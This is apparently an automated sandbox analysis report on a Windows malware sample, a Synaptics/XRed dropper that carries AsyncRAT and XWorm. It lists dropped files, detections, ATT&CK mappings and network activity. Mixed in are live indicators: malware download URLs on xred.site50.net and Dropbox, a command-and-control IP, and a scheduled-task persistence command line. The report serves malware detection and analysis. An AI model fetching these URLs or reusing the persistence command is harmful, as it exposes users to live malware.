Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe "C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe"	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Users\user\Desktop\._cache_svchost.exe "C:\Users\user\Desktop\._cache_svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5600 -ip 5600
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5600 -s 24140

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_file.exe	Queries volume information: C:\Users\user\Desktop\._cache_file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_svchost.exe	Queries volume information: C:\Users\user\Desktop\._cache_svchost.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Users\user\svchost.exe	Queries volume information: C:\Users\user\svchost.exe VolumeInformation
Source: C:\Users\user\svchost.exe	Queries volume information: C:\Users\user\svchost.exe VolumeInformation
Source: C:\Users\user\svchost.exe	Queries volume information: C:\Users\user\svchost.exe VolumeInformation
Source: C:\Users\user\svchost.exe	Queries volume information: C:\Users\user\svchost.exe VolumeInformation
Source: C:\Users\user\svchost.exe	Queries volume information: C:\Users\user\svchost.exe VolumeInformation

Source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe

Code function: 4_2_00007FF771F06CC4 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_00007FF771F06CC4

Source: C:\Users\user\Desktop\._cache_file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Source: Amcache.hve.22.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: ._cache_svchost.exe, 00000007.00000002.4024528283.000000001B8A4000.00000004.00000020.00020000.00000000.sdmp, ._cache_svchost.exe, 00000007.00000002.4024528283.000000001B8D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.22.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\._cache_svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4184, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXB47F.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4184, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXB47F.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4006645405.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	41 Scripting	1 Replication Through Removable Media	12 Windows Management Instrumentation	41 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	12 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Scheduled Task/Job	1 DLL Side-Loading	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Peripheral Device Discovery	Remote Desktop Protocol	1 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scheduled Task/Job	11 Process Injection	11 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	2 Scheduled Task/Job	2 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	34 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	551 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	232 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	161 Virtualization/Sandbox Evasion	Proc Filesystem	161 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	89%	ReversingLabs	Win32.Trojan.Synaptics
file.exe	100%	Avira	TR/Dldr.Agent.SH
file.exe	100%	Avira	TR/Dropper.Gen
file.exe	100%	Avira	W2000M/Dldr.Agent.17651006
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\._cache_file.exe	100%	Avira	TR/Dropper.Gen
C:\ProgramData\Synaptics\RCXB47F.tmp	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\RCXB47F.tmp	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\AppData\Roaming\svchost.exe	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\AppData\Roaming\svchost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\svchost.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Desktop\._cache_svchost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	100%	Avira	TR/Inject.elvwr
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dldr.Agent.SH
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	TR/Dropper.Gen
C:\ProgramData\Synaptics\Synaptics.exe	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\Documents\~$cache1	100%	Avira	TR/Dldr.Agent.SH
C:\Users\user\Documents\~$cache1	100%	Avira	W2000M/Dldr.Agent.17651006
C:\Users\user\svchost.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\Desktop\._cache_file.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXB47F.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\._cache_svchost.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\Synaptics.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\~$cache1	100%	Joe Sandbox ML
C:\Users\user\svchost.exe	100%	Joe Sandbox ML
C:\ProgramData\Synaptics\RCXB47F.tmp	96%	ReversingLabs	Win32.Worm.Zorex
C:\ProgramData\Synaptics\Synaptics.exe	89%	ReversingLabs	Win32.Trojan.Synaptics
C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe	62%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\Desktop\._cache_file.exe	83%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\Desktop\._cache_svchost.exe	87%	ReversingLabs	ByteCode-MSIL.Ransomware.CryptConsole
C:\Users\user\Documents\~$cache1	96%	ReversingLabs	Win32.Worm.Zorex
C:\Users\user\svchost.exe	87%	ReversingLabs	ByteCode-MSIL.Ransomware.CryptConsole

Source	Detection	Scanner	Label
http://xred.site50.net/syn/Synaptics.rard	100%	Avira URL Cloud	malware
https://docs.google	0%	Avira URL Cloud	safe
https://docs.goo3	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SUpdate.ini0	100%	Avira URL Cloud	malware
https://docs.goo	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/SSLLibrary.dll6	100%	Avira URL Cloud	malware
45.141.26.134	0%	Avira URL Cloud	safe
http://xred.site50.net/syn/Synaptics.rarZ	100%	Avira URL Cloud	malware
http://xred.site50.net/syn/SUpdate.iniZ	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
freedns.afraid.org	69.42.215.252	true	false	high
docs.google.com	142.250.74.206	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ip-api.com	208.95.112.1	true	false	high
drive.usercontent.google.com	142.250.185.193	true	false	high
xred.mooo.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
xred.mooo.com	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978	false		high
45.141.26.134	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SUpdate.ini0	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/=	Synaptics.exe, 00000003.00000002.3074863687.000000001DE3B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/i	Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0By7	Synaptics.exe, 00000003.00000002.3016126059.000000000095C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rarZ	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/z	Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1	file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://docs.google	Synaptics.exe, 00000003.00000002.3049468248.000000000F96E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3152143254.000000003B53E000.00000004.00000010.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://docs.google.com/4	Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.goo3	Synaptics.exe, 00000003.00000002.3016126059.0000000000972000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/	Synaptics.exe, 00000003.00000002.3020194577.0000000005431000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rar	file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://docs.google.com/4R	Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/Synaptics.rard	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://docs.google.com/	Synaptics.exe, 00000003.00000002.3076022173.000000001DED1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3023403853.00000000070BA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dl	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll6	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978/$D	Synaptics.exe, 00000003.00000002.3020194577.00000000053D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1	file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr, ~DF5D971380D884AB7C.TMP.6.dr	false		high
http://xred.site50.net/syn/SUpdate.iniZ	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://xred.site50.net/syn/SUpdate.ini	file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high
https://docs.goo	Synaptics.exe, 00000003.00000002.3074340257.000000001DB89000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.3042188537.000000000DDA2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16	Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.google.com/H	Synaptics.exe, 00000003.00000002.3016126059.0000000000918000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/db	Synaptics.exe, 00000003.00000002.3071429514.000000001D902000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.google.com/uc?id=0;	Synaptics.exe, 00000003.00000002.3169345579.000000003D90E000.00000004.00000010.00020000.00000000.sdmp	false		high
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t	file.exe, 00000000.00000003.1541052777.00000000028A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://xred.site50.net/syn/SSLLibrary.dll	file.exe, 00000000.00000000.1522751574.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.3017460186.0000000002310000.00000004.00001000.00020000.00000000.sdmp, RCXB47F.tmp.0.dr, svchost.exe.2.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.74.206	docs.google.com	United States	15169	GOOGLEUS	false
69.42.215.252	freedns.afraid.org	United States	17048	AWKNET-LLCUS	false
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
142.250.185.193	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
45.141.26.134	unknown	Netherlands	62068	SPECTRAIPSpectraIPBVNL	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583454
Start date and time:	2025-01-02 20:09:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@31/130@22/6
EGA Information:	Successful, ratio: 11.1%
HCA Information:	Successful, ratio: 99% Number of executed functions: 68 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 184.28.90.27, 20.190.160.20, 20.190.160.17, 40.126.32.136, 40.126.32.76, 40.126.32.138, 20.190.160.14, 40.126.32.140, 20.190.160.22, 2.22.50.144, 2.22.50.131, 20.189.173.1, 20.189.173.21, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): onedscolprdwus00.westus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, ecs-office.s-0005.s-msedge.net, login.live.com, e16604.g.akamaiedge.net, onedsblobprdwus16.westus.cloudapp.azure.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, prdv4a.aadg.msidentity.com, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, s-0005-office.config.skype.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, s-0005.s-msedge.net, config.officeapps.live.com, blobcollector.eve
Execution Graph export aborted for target ._cache_file.exe, PID 4664 because it is empty
Execution Graph export aborted for target Fulloptionnew_by elegance.exe, PID 2916 because there are no executed function
Execution Graph export aborted for target Synaptics.exe, PID 5600 because there are no executed function
Execution Graph export aborted for target svchost.exe, PID 4736 because it is empty
Execution Graph export aborted for target svchost.exe, PID 6896 because it is empty
Execution Graph export aborted for target svchost.exe, PID 700 because it is empty
Execution Graph export aborted for target svchost.exe, PID 7404 because it is empty
Execution Graph export aborted for target svchost.exe, PID 9828 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:10:41	API Interceptor	3x Sleep call for process: svchost.exe modified
14:10:44	API Interceptor	990x Sleep call for process: Synaptics.exe modified
14:10:49	API Interceptor	10407609x Sleep call for process: ._cache_svchost.exe modified
14:12:40	API Interceptor	1983473x Sleep call for process: splwow64.exe modified
14:12:58	API Interceptor	1x Sleep call for process: WerFault.exe modified
20:10:36	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver C:\ProgramData\Synaptics\Synaptics.exe
20:10:46	Task Scheduler	Run new task: svchost path: C:\Users\user\svchost.exe
20:10:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run svchost C:\Users\user\svchost.exe
